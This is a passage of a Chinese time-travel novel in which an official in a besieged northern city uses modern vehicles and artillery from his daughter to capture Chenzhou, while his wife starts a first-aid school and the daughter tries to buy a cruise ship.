谢云溪安慰了一会,倒是庄静坚强,她转移了话题:“不说这个了,现在到底是什么情况?你知道吗?” “我听说,城外的北凉人都没了!昨日一战,他们吃了大亏,除了少数人逃脱以外,其余全被歼灭!这是真的吗?” 谢云溪点头。关正虽然不在了,但他军中嫡系不少,庄静能知道这些并不奇怪。 况且,庄炜也在衙门做事,肯定知道了关正已死的事情,和袁博文的安排。 “这可真是大喜事!”庄静喜形于色。 谢云溪说:“今日一早,大部队就往郴州开拨。博文说,咱们已经是北凉人的眼中钉了,只有尽快拿下郴州,才有回旋的余地。” 庄静连忙点头,她虽然一介女流,但到底夫婿是晋州守备,对军情和局势并不是一无所知。 “我想着晋州一体,覆巢之下安有完卵?男人们都在搏命,咱们也不能闲着,便想着找些事儿做,所以才来找你了。” 庄静连连点头:“我们想到一起了!你有眉目吗?我们能做什么?” 谢云溪暗叹庄静的上道,到底是沉浸官场多年的守备夫人,不仅沉着冷静,反应也极快。明明打算独善其身,她一来便改了初衷。 “别的事情,我不行。唯有给人治病有点经验。这一旦打起来,难免有人受伤,咱们晋州的兵不多,少一个人,胜算都要受影响。以前,我还能在医棚里帮忙,现在不方便了,许多事情都做不了,不过,我可以教……” 庄静立马明白:“你这个想法很好!要不是顾忌你怀有身孕,我早就上你家的门找你了!” “我府上闲人不少,你看看要多少个?一会儿我挑出来,让他们都跟你学医。” 谢云溪连忙道谢。庄静又说:“景钰也没事,让她也一起。” 谢云溪唇角扬起,关景钰加入进来学医,一定会带动其他官家子女。不过,学医是个漫长的过程,像他们这样仓促上场,能学到的东西有限,但是,哪怕会得不多,打打下手,也很好。 “这怎么行?景钰怎么能碰那些东西?” 即便是心里很高兴,谢云溪还是客气拒绝。 “怎么不行了?守卫晋州,人人有责!她更应该身先士卒!”庄静义正言辞说。 她看得很透,关正死了,现在晋州是袁子虚说了算。这人是个奇才,不仅他们一家,整个晋州城能不能脱困,还得看袁子虚。 昨日她虽然没出去,但庄炜来了一趟,说起白天的战事,袁子虚拿出的新武器对上北凉人,简直摧枯拉巧,偌大北凉人营地被夷平,也不过一个多时辰。 原本,他们对拿下郴州不怀一点指望,但昨日一战之后,大伙信心倍增。 听说,袁博文还有好东西没出手。 他还安慰说,等拿下了郴州,关正的事情就可以对外公布了。这个仇,他们迟早会报。 他担心她想不开,怨怪袁子虚,明明有好东西,却不早点拿出来。开导她,个人有私心,天经地义,自己的东西,是否拿出来全凭自愿。 况且,那些东西太过骇人,一旦现世,必定会招来各种各样的麻烦。袁子虚有顾虑,人之常情。 这些道理,她当然知道。关正离开的前一天晚上,还跟她说,袁子虚把自己从海外得到一件宝衣都给了他。 这是大恩。只是自家的运气不好。 至于学医。如今整个晋州城人人都在生死关头,那些规矩道理是能当吃,还是当穿,还是能让活命? 学得一技之长,怎么都不亏。 袁夫人大着肚子,都在医棚里帮忙,眼下的晋州,还有人比她更金贵吗? 关府的风光已经成了过去,她要是再拎不清,那就是嫌命长。 “你看哪一天开始?我去帮你打下手。”她年纪大了,比不得年轻人脑子好用,学东西快,但打打下手,还是能做到的。 谢云溪没想到庄静这么好说话,也不过多客套了。 “越快越好吧!我在谢记粮行旁边还有间空屋,后面还有个院子,收拾出来,刚好能做教室。” “好!我跟府衙的张夫人和隔壁的黄夫人也通个气,她们俩也都是热心的人,出钱出力不在话下。” 开学堂教学医,可不仅仅只需要人和地方到位,钱也要有,纸墨笔砚等等那都是要钱买的。这些怎么能让袁夫人一个人拿出来? 谢云溪欲言又止。她知道庄静想岔了,肯定以为她开的培训班跟这里的医馆教徒一样。 其实,她只是想开一个类似急救的速成班,教导学员如何紧急快速处理伤患,以及给予合理正确的看护。 她记得护理学的创始人南丁格尔曾经在战场上参与救护,使得参与战争的士兵死亡率大幅下降。 她自认自己做不到像南丁格尔一样伟大,但多少也能起些作用。现代西医在紧急处理伤患方面确实有其独到之处。中西医各有特点,结合医治说不定有意想不到的效果。 第82章 第82章 淼淼 但这些不是一句两句能说清楚。 “你说的张夫人, 是府衙张大人家的吗?”谢云溪问。 她知道庄静话里的黄夫人是骑射营主将黄峥的夫人,她也跟黄夫人打过几次交道,人确实挺热心。 “就是他家的。张夫人性子恬静, 平日里很少出门, 但对晋州事务一向热心。” 谢云溪点头, 脑海中浮现出一张温雅恬静的笑脸。她应该见过这位张夫人, 只是没说上话。 如今的晋州,府衙事务由张时文统管着, 袁博文对他的印象很好,想来他家的夫人一定不会差。 “那太好了,有你们帮忙,这事一定能成!” 谢云溪道了谢, 有这些夫人太太们牵头,她的培训班应该能有所作为。 又说些话后, 谢云溪告辞了。并没有回府,而是直接来到了谢记粮行。袁归见到府里的马车,连忙过来了。 谢云溪看了看铺子里,人流量不少。 如今的谢记粮行, 三间铺面打通,改建成类似超市的格局,除了米粮油菜等常规商品以外,还销售一些常见的日用品。 算是这条街上最热闹的地方了。 “你去忙,不用管我, 我看看隔壁屋子。” 袁归连忙叫伙计拿来钥匙, 亲自开了门。 “夫人小心,里面还没有完全清理出来,有些乱。” 谢云溪笑着打发了袁归, 在里面转了一圈。回去后,就打发了人过来收拾。到了下午,袁淼那边来消息了,她买到了药品和一些相关用品。 此时的袁博文已经离郴州不远了。 这趟出来,他们的速度并不快。十几辆卡车,连同数辆坦/克和炮/车等,司机都是新手,路况也并不好走,他在前面开路,精神高度集中。 好在一路平安。 车队的车速虽然不快,但仍然把步兵远远甩到了后面,与骑兵也逐渐拉开了距离。 到达他们上次经过荒村时,袁博文停下了车,下令修整,车上下来的司机们虽脚步有些虚,但各个精神很好,反而乘车的士兵有个别晕车。 他挑出来的这些新兵人数虽然不多,但训练的时候要求严格,必须人人射击过关,还得学会开车。 关正还在晋州的时候,他不好弄得动静太大,关正离开了晋州,他才把人拉出来练车。 但时间仓促,这些新兵都没摸几回车,所谓训练也就是在场地里打转。 昨天一战,这些新兵们表现很好,也没有出现伤亡,但是今天一早拉出来行军,对他们而言,又是另一个考验。 现在,优劣一目了然。 有的发虚,有的在悄悄询问开车上路感受,央求一会让他也试试。 “大人!” 接过谷雨递过来的望远镜,袁博文看了看周围。一片荒凉。落到他们后面的骑兵正这边疾驰而来。 原本晋州没有那么多战马,但昨天一战,让他们补足了这方面的短板,骑兵一下子多了起来。 一路上过来,骸骨和尸体不知道见了多少,秃鹫在空中盘旋,目光所及仿佛是死地。晋州周围被数次清壁坚野,又经过北凉军队驻扎,几乎没有活物了。 离开晋州很远后,他们才陆续看到蹒跚的流民,但这些流民见到车队,没等靠近一溜烟全跑了。 眼下的荒村,他们上次经过时,还能看到人活动的痕迹,现在只剩下了残垣断壁了。 等了一会,骑兵们到了,骑射营主将黄峥目光火热盯着那些卡车,下马时呼吸有些急促。 “大人,翻过前面的山岗,应该就能看到郴州城墙了。” 袁博文已经打发了斥候探路,他问黄峥:“其他营将士还有多久能到这里?” 黄峥回道:“约戌时应该能到。” 戌时?天都黑了! 袁博文回头看了看,士兵们大多都围在卡车旁边,几个司机脸上的自得显而易见。 “游八斤!谢云武!姚福贵……”他喊了几个名字。 被念到的人马上过来了。 袁博文说:“你们几个开车去接一下后面的人!” 这几人喜形于色,纷纷应下。 袁博文又喊先前开车的几个司机坐副驾驶,让他们跟着车一起过去,路上好有个照应。 很快,其他士兵都知道了,羡慕的人不少。尤其骑射营的士兵,他们还是第二次见到卡车。 第一次只远远看了几眼,今天倒是饱了眼福,还上手摸了几把。 越摸越惊奇。轮胎没见过,车厢是铁打制的,这么大件,也不知道怎么做到的。 还有前面的小间,那罩子竟是透明的。里面稀奇古怪的东西更多。 可惜不能进去看看。 这玩意动起来比草原上最好的马都跑得快,他们一路上鞭子都快抽断了,还是被远远甩到了后面。 原来这东西,也叫车! 司机们相互招呼上了车,往来路回转去接人。 直到车队不见人影了,士兵们才收回目光。 黄峥的副将悄悄对黄峥说:“将军,这种车属实不错,咱们也搞几辆吧?” 黄峥瞪了他一眼,他可没忘记自己问话时袁大人的脸色,这样霉头,他可不想触两次。 “要问?你去问!” 黄峥撂下话就走了。 副将虽然十分眼热,但他跟袁博文接触不多,实在不敢上前。 卡车被开走了几辆,士兵们又盯上了剩下的车,但这几辆车上都是军/备,袁博文已经下令,任何人不得靠近,包括坦/克和炮/车等。他们只能远远看着。 袁博文将这些看在眼里,没有说话。 男人,很少有不喜欢车的。但现代军/械非同小可,不知根知底的人,他都没让碰。 探路的斥候回来了,前方除了零星流民,没有发现北凉人。 一会后,接人的车回来的,稍歇片刻后,换了司机了,继续赶路,约申时,袁博文就在望远镜里看到了郴州城墙。 * 袁淼下了车,就看见宋奶奶在院子里散步。她喊了一声。 老人回头,愣了愣后,笑起来:“我记得你,上次就是你送我回家的。” 袁淼也笑了,走近了说:“奶奶记忆真好!” 老人笑眯眯的:“小姑娘心肠很好,人也长得好看!” 袁淼有些不好意思。 老人盯着袁淼:“你头上的花头簪真好看,在哪儿买的?” 袁淼摸了摸头。自打开了珠宝店,她就以身作则佩戴起各种首饰,希望能有些宣传效果。 今天头上配戴的古风发簪是父母传过来的,因是全新,她让修复师清洗过后,自己用上了。 “是这个吗?” 老人点头:“这是唐末的样式,手工很复杂的,制作的方法应该失传了呀,你在哪里买到的?” “呃……” 袁淼正在想怎么回答,宋颜抢先一步:“淼淼家也是开珠宝店的,这支花头簪就是她家店里的师傅制作。” 袁淼连忙附和点头,至于宋颜的那句淼淼,她压根就没注意。 “你家也开珠宝店的呀?这类首饰多吗?” 袁淼点头:“……多!” “我能看看吗?”老人搓着手问。 袁淼立刻拔下头上的花头簪,递给老人。 “真是花头簪!我已经很久没见到这种样式了。” 宋颜解释:“我奶奶以前设计珠宝师,她很喜欢古风首饰。” 袁淼松了一口气,喜欢古风首饰好啊,她店里这类首饰最多了。 扶着老人进去后,袁淼拿出了礼物:“这是我爸妈留下来的,有不少年头了,听说对上了年纪的人,效果不错。” 宋颜顿了顿才接,看了看,目光又落在袁淼身上:“这个……上了百年吧?” 袁淼笑着装傻:“我也不知道,听说对上了年纪的人有好处,我就拿过来了。” 宋颜脸上的表情一言难尽,不过还是让佣人拿下下去。 有人从楼上下来。袁淼听到动静回头,下来的年轻人有一双漂亮的桃花眼,一身居家服穿出了慵懒贵气。看着袁淼,目不转睛。 宋颜介绍:“我堂弟,宋真。” 袁淼伸出手:“你好!袁淼!” 宋真握上了袁淼的手,笑起来,两颗小虎牙若隐若现:“袁小姐真漂亮,有没有意向往大屏幕发展?” 袁淼有些错愕,还没回答,一旁宋奶奶突然说:“淼淼是做珠宝首饰的,怎么能去那个大染缸?” 宋真大笑起来:“对对对,淼淼是好人家的女孩儿,怎么能去娱乐圈那样的大染缸?” 袁淼也被逗笑了。 “本来就是,你怎么胡闹?我管不了,但淼淼是个好姑娘,你可不能带坏了她!” 宋真煞有其事点头:“奶奶说得对……淼淼是个好姑娘,不能去娱乐圈!奶奶,你手上拿的是什么?” “这是花山簪,漂亮吧?现在很少见了!” “我看看。”宋真凑了过去。 袁淼看着眼前的一老一少说话,心情也变得好起来。 “你上次送到嘉世达的白玉马排在这个月月底拍卖,孙经理跟你说过了吧?” 袁淼听到宋颜说话,马上转过头,惊喜道:“还没有。” 她正缺钱,嘉世达就来好消息了。宋颜真是她的贵人。那尊白玉马,专家给出的估计不低。 “应该明后天,他就会联系你。” 袁淼笑了:“谢谢宋……” 她话还没说完,就被宋颜打断了:“这是嘉世达份内的工作,嘉世达既然拿了佣金,就有责任做好这件事情。” 道理虽然是这样的,但袁淼还是很感激嘉世达,她近乎三分之一的财富都来自嘉世达。 不过,这些钱被用得差不多了。而她马上还要买一艘大船。 “宋总……对游轮的行情了解吗?” “游轮?你要买船吗?” 袁淼小心笑着:“想了解一下,宋总知道吗?” “你要买多大的船?做什么用?” 袁淼想了想父母的情况:“大概能承载一千人左右的游轮!” 至于用处,那就不方便说了。 宋颜顿了顿,摇头:“这种类型和规模的船,国内目前没有销售,大澳有一家船厂倒是有售,如果现在下单,应该两年后就能拿到。” 两年后?父母那边战早打完了! “有没有更快能拿到的?” 宋颜看着袁淼:“你要多快?大型船只制作有严格的标准,如果时间仓促,质量上恐怕要打折扣。” 袁淼发现自己想得太简单了,买船不仅仅考虑资金的问题,还有时间。 大型游轮的造价不菲,应该没有哪一个船厂有胆量先造出船来,然后再去卖。如果这样安排,一旦船卖不出去,那就是数十亿砸在手上了。 “……没有……现船卖吗?”袁淼还是不死心。 宋颜看着袁淼,一会后说:“我打听打听。” 袁淼感激看着宋颜,这件事情要换成她,只怕是想破了头,也不知道从哪里着手。 宋颜依旧看着袁淼,低声说:“淼淼,除了要买船,你是不是资金上也出现困难了?” 袁淼脸上的笑不由得收了。她想了想,应该是今天在出手银子的时候表现的过于急切了。 她低下头。 宋颜虽然很好,可她爸妈的事情不能对外说。 她没有看宋颜,低声问:“……一艘能承载一千人左右的游轮,大概需要多少钱?” 一会后,宋颜才回答:“据我所知,去年有一艘能承载一千五百人的游轮,卖给了哈梅尔罗斯公司,当时售价十一亿M元。” 十一亿,M元! 袁淼抽了口冷气,脸色都变了。 六十六亿RMB! 这么多钱!她全部身家加起来都不够支付零头。 似乎看出了袁淼的惊吓,宋颜又低声说:“不过,那艘船是哈梅尔罗斯公司买来做环球旅游观光项目的,宣传的濠头不小,目的是为了赚取高额票价,实际的售价应该没有那么高。” 袁淼干干笑了笑:“是吗?” 即便是排除宣传的濠头,六十六亿打个对折,她也买不起。 她爸妈手上也不可能会有这么多钱,他们只要攒一点,就会给她传过来。 袁淼整个人都不好了。 “别担心!我来想办法!”宋颜柔声说。 袁淼沉浸胡思乱想中,压根没注意听宋颜的话。 一顿饭吃得食不知味。 回去的时候,下起了雨,袁淼坐在副驾驶座上,还在想钱的事情。宋颜突然凑过来,她吓了一跳,看着近在咫尺的眉眼,一时间说不出话来。 宋颜笑了笑:“安全带!” 袁淼这才发现自己忘记系安全带了。 卡扣一声响后,宋颜坐回位置。 袁淼暗暗松了一口气,刚才她莫名一阵心慌,呼吸都不顺畅了,有种被什么东西盯上的感觉,似乎一不小心就会被吞噬,吓得一动不敢动。 车外景致如流水过去。她忍不住悄悄看了看宋颜。 他正专心开着车,冷清眉眼一如既往。 袁淼放心了。 她刚才应该是错觉。 她的心思又回到了怎么挣钱的事上。 * 次日一早,郴州城墙上的北凉人就发现了大批人马靠近,号角声吹响了,厚重的城门关上了。 第83章 第83章 整理 次日一早, 郴州城墙上的北凉人就发现了大批人马靠近,号角声吹响了,正在通过城门口的搜查停了下去, 城门口的人被赶开了。 厚重的城门缓缓关上。城墙上也在迅速布防。 没多会便有北凉领将匆匆上了城墙, 看向远处的人海。 浩浩荡荡, 旌旗飘展, 上面映着一个偌大顺字。 领将脸上的慌乱没有了,虽然他不知道这些人从何处而来, 但是,他已经看出他们人数并不多。 郴州城墙巍峨坚固,当初打下来就废了不少心思,现在就来这点人, 还想来打郴州?简直笑话! 领将正要下令弓/箭/手预备,投向郴州的炮弹就落在他的身边。 巨大的声音伴随着气浪将周围的一切掀上了天, 刚才还站在那里的人不见了,血水混杂着血肉洒落下来,坚固的城墙上多了个偌大坑洞。 人们还不知道发生了什么。 尘嚣未止,又是一声巨响。 巍峨连绵的郴州城墙燃起了朵朵黑云, 轰炸声此起彼伏响起,所到之处不仅人,连脚下的墙砖都掀上天,血肉洒落到处都是,士兵们慌乱逃窜。但似乎没有一个地方是安全的, 即便侥幸下了城墙, 爆炸声仍然在身边响起。 郴州城乱了。 轰炸还在继续,郴州的城门打开了,一队人马冲了出来, 却还没有靠近就遇到了早已在壕沟里等待多时的机枪手和弓箭手。 冲在最前面的人纷纷倒下,惊慌失控的战马将马背上的骑兵掀了下来,偶尔有侥幸活下来的还没有站稳脚跟,就被机枪射中了。 冲刺声和喊杀声持续了很长时间,直到郴州残破的城门再次关上时,袁博文才下令撤退。 黄峥急了:“大人!此时攻城定能事半功倍!郴州城里的北凉人不多了!” 袁博文当然知道乘胜追击,但他想以更小的伤亡拿下郴州。 撤退下去没多久,伤亡情况很快就送到了袁博文跟前。 他看了看。新兵们也出现了伤亡情况。随行的医官并不多。袁博文叫来了黎大山。 “你让医官把能移动的伤患挑出来,你挑两个个人,跑一趟,把他们送回晋州,让张大人组织晋州城内医馆郎中一起医治。” 黎大山应下后去忙了。在场主将们相互看了一眼,谁也没有开口说话。 战时把受伤的士兵往后方运输,这在以往鲜少发生。 晋州距离郴州,可不是近距离,即便骑马,也得两三天才能到达。 但是,现在他们有车了!听说,郴州往晋州一个来回,路上顺利,开车只需两个多时辰。 吴万乾也把战损统计了出来。这一波打击,消耗最多的就是炮/弹,其实是羽/箭和弓/弩。 这些都不便宜。 袁博文看得心疼。 但这样的打法,人员折损最小。晋州的人不多,兵更少。钱没了可以再挣,但人没了,那就真没了。 修整期间,袁博文爬上了山岗,看了看郴州城内。 里面已经乱成了一锅粥,许多地方浓烟滚滚,到处都是奔跑的人。 北凉位于城南的驻扎地更惨,一片狼藉,尸首到处都是,连个收捡的人都没有。 他松了一口气。 不枉他连续两晚没怎么合眼,这番打击让郴州城内的北凉大军元气大伤。 等到送伤患的车回转时,袁博文接到了谢云溪的消息。 他看过后笑了。 可以放心大胆干了,女儿买到的军/械已经到了晋州。 停下来没多久的轰炸很快又开始了。 直到城墙上只剩下零星北凉士兵后,袁博文才下令攻城。 原本坚固的郴州城门已经危危欲坠,巍峨的城墙到处都是缺口,郴州的防卫已经形同虚设,除了零星射过来的羽/箭,晋州守军几乎没遇到像样的抵抗。 在长枪营的护卫下,沉重的坦/克开进了郴州城里了。 袁博文进城的时候,已经是下午了。宽阔的郴州大街上,人少得可怜,但是暗处的目光不少。还有零星的枪/声在响,这是清城将士们在忙碌。 郴州被北凉人驻守数月,不可能刚才一番打击就把人全灭了,肯定有躲起来的人。这就需要后续的清理了。 现代化军/械的破坏力惊人,从早上炸到下午,郴州城墙到处都是缺口和坍塌。 城内靠近城墙的地方都是炮弹留下的坑洞,北凉人的驻扎地几乎被夷成了平地。城中也有不少地方被炮/弹击中,有好几间民居倒塌。 袁博文径直来到郴州府衙,府衙门口的两个石狮静默杵着,里面的人全跑光了。 他在里面转了一圈后,招来亲卫。 “你去旁边看看,若是有人,带两个过来。” 亲兵出去后,没一会儿,压了两个人进来。 这两人一见到袁博文,膝盖一软,就要下跪。 “大人饶命!我等并没有替北凉人做事!” 袁博文脸色有些冷:“起来说话!” 两人胆胆战战起身。 袁博文问:“你们是郴州人吗?来这里多长时间了?” “回大人,我们不是郴州本地人,搬到这里不到四月。” 袁博文想了想,不到四个月,也就是郴州沦陷后才搬过来的。 北凉占领郴州之后,杀了不少人,但郴州到底是北地第一重城,人不少,不可能全部杀光。北凉的主力部队离开后,附近的流民和一些先前侥幸逃出城的人会陆续回来。 冬天要到了,他们想要活下去,必须找到栖身之地。 “你们知道,北凉人进城后,府衙这里是谁在管事?”袁博文又问。 被带进来的两个人小心翼翼相互看了一眼,其中有个壮胆回答:“知道,是任子轩任大人,不过,今日打起来后,任大人就跑了。小的老子娘亲眼看到他家老仆赶着马车从后门离开。” 汉奸哪个时代都有,这并不稀奇,无论环境有多恶劣,总是有人活得很好。 “除了他,你们还知道谁在替北凉人办事?” 被带进来的两人胆胆战战说了几个名字。袁博文问清楚住处后,给了亲卫一个眼色,亲卫会意,带着人手离开了。 “除了城南的营地有北凉人驻扎以外,你们知道还有哪些地方有北凉人?” 先前回话的人犹豫了片刻。 “小的听说四喜胡同的柳大老爷府里有北凉人,他还把自己的小妾送给北凉人!” 另一个也连忙说道:“春柳街也有北凉人!他们经常去那里饮酒寻欢!” 四喜胡同和春柳街,袁博文都知道,考举人的时候他在郴州城住了一段时间。这两个地方,一个是权贵聚集地,一个有名的销金窟。 带进来的两个人已经放开了,七嘴八舌点了不少名。 袁博文估计,这里面肯定私心,不过,他询问的目的就是为了掌握郴州的情况,他们说的越多越好。 末了,袁博文让人把他们带了出去,颁下了悬赏。 但凡有举报北凉人藏身之所的,赏银一两;抓住北凉人,无论死活,一律赏银五两! 重赏之下,必有勇夫,藏身在郴州的北凉人休想侥幸。 没办法,他带过来的人太少了,不到三千,散在偌大郴州城中,也许找上一个月,也不能保证没有漏网之鱼。 群众的力量大,发动起来,会事半功倍。 他得在北凉的大军到来之前,把郴州理顺了。 悬赏发出去后,袁博文又对谷雨说:“你跟黎大山回晋州一趟,把这边的情况告知夫人。” 转头又对黎大山说:“我写封信,你带给张大人,让他和江将军带上人手,赶紧过来,这边缺人。” 谷雨和黎大山应下后上路了,到达晋州城时,天已经黑了。 城墙上的守军看到有车过来,连忙打开了城门。 进城后,黎大山直奔府衙。 张时文和江虎等都在府衙里。 晋州的兵几乎都被拉走了,虽然他们知道袁博文肯定留有后手,但也不敢大意。这几个晚上都没睡好。 中午时候,有车回来了。他们这才知道,从郴州到晋州,开车只需一个多时辰! 难怪袁大人有恃无恐了。 黎大山把信交给了张时文。 张时文看过后,脸上的激动抑制不住,一连声说了几个好。 “黎将军稍后,我马上召集人手,跟你一起过去!” 江虎看到他的变化,已经着急了,连忙问:“信里写了什么?郴州那边战况如何?” 张时文把信递给江虎,江虎一目十行看完,忍不住哈哈笑起来。 “童成!这里交给你了,我马上要去郴州!” 童成丈二摸不著头脑,还不知道发生了什么。 江虎笑呵呵说:“袁大人已经拿下了郴州!让我等带上人手前去支援。” “我走之后,晋州城防事务交由你全权负责,好好干,不得松懈!” 童成很高兴,大声应下。 府衙在坐的人一时不敢相信听到的,他们一直知道袁大人打战厉害,但那是郴州!怎么可能不到两天,就拿下了? 张时文说:“袁大人的信在此,你们不信可以看看。” 他话音刚落,有人就动手,打开看时,其他人都围了过来。 张时文转身对庄炜说:“袁大人让你在我等离开之后暂管晋州府衙事务!” 庄炜惊呆了。 他在晋州府衙帮忙不足四月,既无功名,也没经验,从来都没有想过自己有一天会当官。 暂管晋州府衙事务!在这过去,那是五品高官知府!他无功名在身,见了都得恭敬行礼! “晋州府衙交给你了,事务你都见过,若是有棘手的事情,袁大人在府衙里留了一台车,你让开车的伙计跑一趟郴州。” 庄炜连忙点头。他这才知道袁博文在府衙留下了一台车。有车在,任何问题不在话下,跑一趟也就一个多时辰。 张时文顿了顿,又说:“守备大人遇害一事,袁大人让你问问庄夫人,是否能对外公布了。” 庄炜脸上的喜悦不见了,沉默着点了点头。 张时文又交待了几句,打发了随从往家里递信,准备行囊,他则开始收拾公文。 谷雨见到谢云溪,把郴州的事情告诉了她。 谢云溪很高兴,仔细询问了一番,得知还要接张时文和江虎过去。她明白了。 晋州在围城期间,一切井井有条,张时文和江虎居功至伟。 他们两人一个对府衙事务了如指掌,一个是巡防营主将。 郴州虽然打下来了,但接下来的治理也很麻烦。袁博文和她都不懂这些,专业的事情就应当交给专业的人去做。 “还没吃饭吧?吃了再过去!” 谷雨笑呵呵摇头:“夫人,我不饿。” 谢云溪板了脸:“不饿也要吃!”又柔声说明 :“府衙张大人和江将军那边没有那么快,你不用着急。” 昨天一大早出发,赶了一百多公里路,虽然不是司机,那也很辛苦。今天又跑了一趟,铁打的人也会觉得累。 况且眼前的孩子不过十二三岁。 谷雨去吃饭了。 谢云溪看了看远处的天。她也要开始准备了,等郴州稳定下来,她们就要搬到郴州去了。 庄炜来到关府,才知道母亲和夫人周氏也来了这里。 “听说郴州那边已经打起来,是吗?” 周氏一边伺候庄炜洗手,一边问道。 屋内的庄静也站了起来,眼睛盯着庄炜。 庄炜点头:“已经打完了,子虚已经拿下了郴州。” 屋内的妇人们都惊呆了。庄老夫人急切问:“此话当真?” 周氏和庄静也都是一副不敢相信的样子。 庄炜说:“子虚刚才来信了,让府衙张大人和巡防营江将军赶紧过去。” 周氏听完,怔怔说道:“那就是真的了,真没有想到,原来袁子虚行军打战这么厉害……” 庄老夫人没好气说:“你以为人家只会读书吗?” 郴州这么快就被拿下,几个人心情都好了许多。 周氏笑着说:“我是真没想到,袁子虚原来还有这般本领。” “信中还说了什么?”庄静问。 庄炜看了看庄静,低声说:“子虚还让我问你,守备大人的事情能不能说了?” 屋内安静下来。庄老夫人和周氏也都知道了关正的事。 “说吧,原本就打算拿下郴州之后公布的。” 庄静虽然一脸轻松,但眼圈的泪花却透出她的悲伤。 庄老夫人拉过庄静,叹了口气:“你们娘仨以后就住到我那边去吧。” 庄静摇头,哽咽说:“我不能去。他说过,让我紧跟了袁家。” 好一会后,庄老夫人点了点头:“他说的对,咱们想要活下去,就得跟紧了袁家。” “信中还说了什么?有没有交待让袁夫人什么时候过去?” 庄炜摇头,“没有提及这事。不过,子虚身边的小厮也跟着回来了,一进城便去了袁府。” 周氏紧张起来:“袁夫人是不是悄悄离开晋州?” 庄静也变了脸色。 庄老夫人皱着眉头:“袁子虚夫妇不是这样的人!休要胡思乱想!” 庄静也跟着点头:“我也觉得不会,袁夫人的医学馆才开起来,她这几日几乎都泡在这件事上。若是要走,不可能一点痕迹都不露。” 庄老夫人又问庄炜:“袁大人来信,让张大人和江将军过去,有没有说晋州的事情如何安排?” “说了……”庄炜有些情怯,“他让巡防营副将童成接替江将军,主持晋州城防事务,让我……暂替张大人,代管晋州。” 妇人们又呆住了。 周氏费了好大劲才压住嘴角的上扬:“这……这不可能吧?” 庄炜看了周氏一眼,没有说话。 刚开始他也不敢相信。 庄老夫人点了点头:“袁大人既然把晋州府衙事务交给你,你就好好干。” “府衙的事情繁杂重要,如今城里的兵又都被拉走了,你临时担任管理,这担子不小,可不能大意!” 庄炜连忙点头:“子虚给府衙留了一辆车,让我若是遇到了棘手的事情,就让开车的伙计跑一趟郴州。” “是昨日早上出城的那种车吗?”周氏吃惊问道。 这几天城里都传遍了,都在说昨日出城的那些大家伙也是一种车。既不用马和骡子拉,还跑得比马还快。去一趟郴州,只需要一个多时辰! 她听在耳里,觉得那些人简直是在说梦话,怎么可能有这么快的车?按照他们的说法,岂不是能日行千里了! “比那种车小,但开起来也很快。” 这是开车的伙计告诉他的。 庄老夫人感慨说:“看看人家,每一步都安排的妥妥当当,你可不能拉了后腿,坏了大事!守备大人的事情得想好了再去做。” 庄静和庄炜都看向庄老夫人,不明白对外公布死讯为什么还要大费周章吗? 庄老夫人一副恨铁不成钢的样子看着自己的一对儿女:“这件事情可仅仅只是往墙上贴张纸这么简单!你们想一想,守备大人是为何去的涵谷关?袁大人又是为何仓促作战?非要这么着急拿下郴州?” “这些事情不仅仅只是袁大人和晋州守军的事,而是攸关我们每一个晋州老百姓的生死!得让晋州城所有的人都知道,有人想让我们去死!算计到这般地步!来龙去脉,所有的人都应该知道。” 庄炜的脸色也变得冷厉:“娘放心,我知道怎么做!” 他要让晋州的人都知道关正是怎么死的。 是霍云泽害死了晋州守备,还将晋州百姓置于险地。袁大人之所以仓促出战,着急拿下郴州,也是为了给晋州百姓挣一条活路。 他们不能让袁大人和一众将士孤军奋战了,想要活下去,就得万众一心。 把事情告诉所有人了,日后他们找霍云泽算账时,也不会是一家之言。 第84章 第84章 理智 第二天, 谢云溪就接到了关府差人递过来的口信。庄静和关景钰今日有事,医学馆的学习,她们来不了了。 谢云溪没有多想, 关心询问了几句, 就跟往日一样, 来到了医学馆。 其他人还没有来, 念荟带着丫鬟们把学习要用的东西准备好。 医学馆虽然只开了两天,但是影响不小。原本谢云溪还有些担心, 收不到学员。 北地的民风虽然不如南方严苛,但女人们抛头露脸的情况还是不多。 结果,大概是有庄静和张夫人的带动,开馆的第一天就来了不少人, 府衙大人们的夫人来了好几个,还带上了府上的小姐们。军中大小将领的家眷也来了几个。 谢云溪不想让这些千金小姐丫鬟们一来就被吓到, 第一天也就教了些病情观察的常识。然而,才开始没多久,就有人找上了门。 郴州已经开打了,有伤员送了回来。袁大人让张大人组织城内医馆郎中医治。回春堂的杨郎中知道谢云溪会缝合伤口, 请她过去帮忙。 谢云溪连忙让贺天凤去拿医疗包,想着百闻不如一见,索性把学习的队伍带到了医馆,当众表演了一番穿针引线。 当场就把主薄孙知与大人家的小姐吓晕了过去,下午的学习都没有露面。 今天, 谢云溪打算还讲病情观察, 上午理论,下午就去医馆现场实践。 约巳时,学员们陆续来了。到了上课的时间, 谢云溪看了看。很好,人都来了,没有人旷课,包括昨天吓晕的孙小姐,今天也来了。 只是脸色不大好,人也怏怏的。 谢云溪没有耽搁。整个北地已经没有安全的地方了,想要活下去,千金小姐也得支棱起来。 她开始讲课。张夫人和几位前来帮忙的女眷们在隔壁小间说话。 “今日怎么没见到关夫人?关小姐也没来有呢。” 张夫人小声说:“你不知道吗?守备大人出事了!关夫人怎么可能还有心情来这里?” 孙夫人吓了一跳:“什么时候的事?不是说郴州那边情况很好吗?” 骑射营主将黄峥的夫人一脸无语看着孙夫人:“你家大人昨日没去府衙吗?郴州已经被拿下了!” 孙夫人更吃惊了。她家大人昨日有些不适,没去衙门,府里对外面的事情很多都不知道。 “那就难怪了!昨日夜里,郴州那边来了消息,说是袁大人拿下了郴州,让府衙张大人和巡防营江将军过去支援。” “张大人和江将军连夜就出发了,现在府衙里面是庄大人在管。你没发现庄夫人也不在吗?” 庄炜不是晋州人,是水患时才举家来的晋州,他虽然在府衙帮忙,但并不是正儿八经的官。 要不是刚打起来那会晋州的官跑了不少,也轮不到他进府衙做事。 也因此,庄炜的夫人周氏跟晋州的官太太们不大熟。 孙夫人看了一圈,果然没有找到周氏。她心里有些发酸。一个帮忙的如今竟然全管起晋州府衙事务了,而她家大人还在原地踏步:“巡防营现在是谁主事?” 黄夫人笑着回答:“是童副将。” 孙夫人认识童成,不好表现得太过羡慕嫉妒,便把话题又扯到关正身上。 “守备大人也是昨日出事的吗?郴州那边到底是什么情况?” 张时文的夫人早就知道了关正遇害的事情,也得了信,府衙会在今天把事情透出去。 “不是,守备大人是在涵谷关遇害的,已经有几天。” 孙夫人惊呆了,这些她都不知道,也没听孙大人提起过。 “这是真的吗?守备大人怎么……去了涵谷关?” 